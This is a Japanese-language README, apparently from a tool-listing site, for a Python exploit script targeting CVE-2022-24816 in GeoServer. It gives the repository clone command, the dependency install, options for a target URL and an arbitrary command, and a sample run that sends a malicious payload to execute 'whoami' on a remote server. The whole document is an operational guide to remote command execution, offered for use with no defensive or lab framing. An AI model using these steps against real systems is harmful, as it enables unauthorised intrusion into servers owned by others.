CVE-2022-24816 スクリプトの使用方法

前提条件

1. リポジトリをクローンする:

   root@kitploit:~

   git clone https://github.com/c1ph3rbyt3/CVE-2022-24816.git
   cd CVE-2022-24816
   

2. 依存関係をインストールする: Python 3 がインストールされていることを確認してください。次に、以下のコマンドを実行して必要な依存関係をインストールします:

   root@kitploit:~

   pip install -r requirements.txt
   

   requirements.txt ファイルには以下のライブラリが含まれています:

   • requests
   • urllib3
   • colorama

---

スクリプトの使用方法

利用可能なオプション

• -u または --url: 脆弱な GeoServer サーバーのターゲット URL を指定します。例: http://example.com または https://example.com。
• -c または --command: ターゲットシステム上で実行するコマンドを指定します。

実行例

1. 特定のコマンドでスクリプトを実行する:

   root@kitploit:~

   python CVE-2022-24816.py -u https://vulnerable-geoserver.com -c "whoami"
   

   これにより、悪意のあるペイロードがターゲットサーバーに送信され、コマンドの出力が画面に表示されます。

---

追加の注意事項

• コマンドの出力は処理され、コンソールに直接表示されます。
• サーバーが脆弱でない場合、エクスプロイトが失敗したことを示すメッセージが表示されます。

---

連絡先

作成者: C1ph3rByt3